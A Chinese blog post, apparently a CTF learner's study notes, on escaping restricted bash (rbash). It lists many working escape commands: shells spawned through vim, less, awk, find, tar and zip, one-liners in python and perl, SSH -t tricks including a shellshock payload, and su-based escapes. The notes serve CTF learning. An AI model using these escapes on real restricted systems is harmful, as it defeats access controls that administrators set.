Rbash逃逸

Rbash逃逸

在打NSSCTF4th的时候Misc碰到了一道神必题目

出了题解发现是不认识的知识点,Rbash逃逸,说到逃逸我人可就不困了,学习一下

Rbash

rbash全称 Restricted BASH ,即受限情况下的bash命令执行

  • 不能使用 cd 命令来改变当前目录。
  • 不能使用 set 命令来改变环境变量或 shell 选项。
  • 不能使用 unset 命令来取消环境变量或 shell 函数。
  • 不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。
  • 不能重定向输入或输出,例如使用 >, <, >>, << 等符号。建议用echo ’ '|tee file
  • 只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。
echo $PATH  ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证    
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin   ####修复

逃逸姿势

由于这类题目做的很少,讲不出来怎么判断这题是不是考察rbash逃逸,只能记录下网上零零散散的博客里记录的东西

/绕过

尝试运行/bin/bash来获得正常的shell

但是由于太简单了一般都会被ban/修改bash的绝对路径

cp 绕过

尝试cp 复制bash到当前的目录下

cp /bin/bash .
./bash

只要在当前目录下的执行不受限就可以用,这是它最大的优点,并且还不需要知道bash的绝对路径,只要可以复制就没有问题

注:cp能用一般/就能用…

使用其他非原生命令来绕过

例如:ftp, gdb, more, man, less, vim, rvim

可以用/bin/bash的地方不妨尝试一下’sh’,由于没有/所以可能有意想不到的效果

ftp

ftp
!/bin/bash

gdb

gdb
!/bin/bash

more

more /etc/passwd
!/bin/bash

man

man man
!/bin/bash

less

less --help
!/bin/bash

vim

vim -Z -c ':!/bin/bash'

大多数时候这个被限制了

还是老老实实

vim test
:!/bin/bash

git

git help status
!/bin/bash

scp

scp -S /path/yourscript x y:

awk

awk 'BEGIN {system("/bin/sh")}'
    或
        awk 'BEGIN {system("/bin/bash")}'

find

find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;

ed-editor

ed
!'/bin/sh'

zip

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

tar

tar cf /dev/null  filename  --checkpoint=1 --checkpoint-action=exec=/bin/bash

pico

pico -s /bin/sh

我没成功哈,弹出来的是nano

vim通杀

在任何可以查看文件内容的界面尝试使用v

看看能不能弹出vim编辑器

接下来

:set shell=/bin/bash
:shell

vi 命令是一个经典的文本编辑器。其中,:set 命令表示设置一个选项的值,:shell 命令表示执行一个 shell。默认情况下,vi 会使用 RBASH 作为 shell,但是用户可以通过 :set shell=/bin/bash 来修改 shell 的值为 /bin/bash。因此,如果用户使用 :shell 命令,就可以运行 bash,从而绕过 RBASH 的限制。

编程语言绕过

还可以直接写程序弹shell

python

python -c 'import os; os.system("/bin/sh")'

php

php -a then exec("sh -i");

perl

perl -e 'exec "/bin/sh";'

ua

os.execute('/bin/sh')

ruby

exec "/bin/sh"

expect

spwan sh
sh

SSH登录逃逸

ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"   ###shellshock
ssh username@IP  "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'

切换用户逃逸

这里的原理涉及到su 和 su- 的区别:

  • su命令,只会更改当前用户,而不会更改当前的用户环境,比如你从oracle 用户su到root账户中,当前路径仍是你刚才的路径,环境变量仍是oracle用户的
  • su- 命令,则在更改当前用户信息的同时还会更改用户环境,但是假如你从oracle 用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了
su -l user
su - user
su --login user

还可以边切换边打shell

su -c "python -c  'import pty;pty.spawn(\"/bin/bash\")'" user

篡改PATH /Shell环境变量

export -p//查看环境变量
如果有可以写入的文件就尝试写入到/bin/bash里面